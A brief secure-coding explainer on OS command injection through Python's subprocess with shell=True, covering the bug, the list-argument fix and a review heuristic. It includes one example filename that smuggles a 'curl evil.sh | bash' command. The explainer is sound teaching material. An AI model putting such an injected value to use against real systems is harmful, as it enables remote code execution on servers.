Why this matters

The bug. shell=True tells subprocess to hand the whole string to the shell. The shell sees ;, |, $(), backticks, and globbing as metacharacters. An uploaded filename "foo.sh; curl evil.sh | bash" chains a second command that runs as the web server.

The fix. Drop shell=True and pass args as a list. subprocess then execves shellcheck directly — filename is an argv element, not shell syntax. No string parsing, no metacharacters.

Heuristic. shell=True in production code is almost always wrong. The exceptions are scripts where the entire command is a literal constant.

Review heuristic

If a string built from a request flows into a function whose name involves the words shell, system, exec, popen, or eval, treat it as actively dangerous until you can show that no part of the string is attacker-controlled.

External reference: CWE-78: OS Command Injection.

CWE-78; OWASP A03.